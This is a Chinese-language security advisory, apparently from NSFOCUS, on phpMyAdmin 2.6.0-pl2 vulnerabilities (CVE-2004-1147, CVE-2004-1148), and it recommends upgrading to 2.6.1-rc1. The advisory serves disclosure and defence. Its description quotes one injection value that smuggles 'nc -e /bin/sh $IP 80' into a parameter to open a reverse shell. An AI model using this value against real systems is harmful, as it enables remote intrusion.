安全研究
安全漏洞
安全漏洞
所有系统
AIX
BSD(eg,OpenBSD)
Digital Unix
HP-UX
IRIX
Linux
FreeBSD
SCO UNIX
SunOS
Solaris
Windows
所有类型
远程进入系统
本地越权访问
拒绝服务攻击
嵌入恶意代码
Web数据接口
其他类型
phpMyAdmin多个安全漏洞
发布日期:
2004-12-13
更新日期:
2004-12-14
受影响系统:
phpMyAdmin phpMyAdmin 2.6.0-pl2
不受影响系统:
phpMyAdmin phpMyAdmin 2.6.1-rc1
描述:
CVE(CAN) ID:
CVE-2004-1147
,
CVE-2004-1148
phpMyAdmin是一个免费工具,为管理MySQL提供了一个WWW管理接口。
phpMyAdmin由于对URL数据缺少充分过滤,远程攻击者可以利用这个漏洞以WEB权限执行任意命令和查看任意文件信息。
存在未明问题,提交类似'F\';nc -e /bin/sh $IP 80;echo \'A'的值可导致任意命令执行,此漏洞不需要攻击者访问phpMyAdmin接口。另外攻击者可以利用'sql_localfile'变量以进程权限查看文件内容。此漏洞需要攻击者访问phpMyAdmin接口。
<*来源:Nicolas Gregoire (
ngregoire@exaprobe.com
)
链接:
http://marc.theaimsgroup.com/?l=bugtraq&m=110295781828323&w=2
*>
建议:
厂商补丁:
phpMyAdmin
----------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载升级到2.6.1-rc1或新的版本:
http://www.phpmyadmin.net/
浏览次数:
3241
严重程度:
12(网友投票)
本安全漏洞由绿盟科技翻译整理,版权所有,未经许可,不得转载
绿盟科技给您安全的保障
关于我们
公司介绍
公司荣誉
公司新闻
联系我们
公司总部
分支机构
海外机构
快速链接
绿盟云
绿盟威胁情报中心NTI
技术博客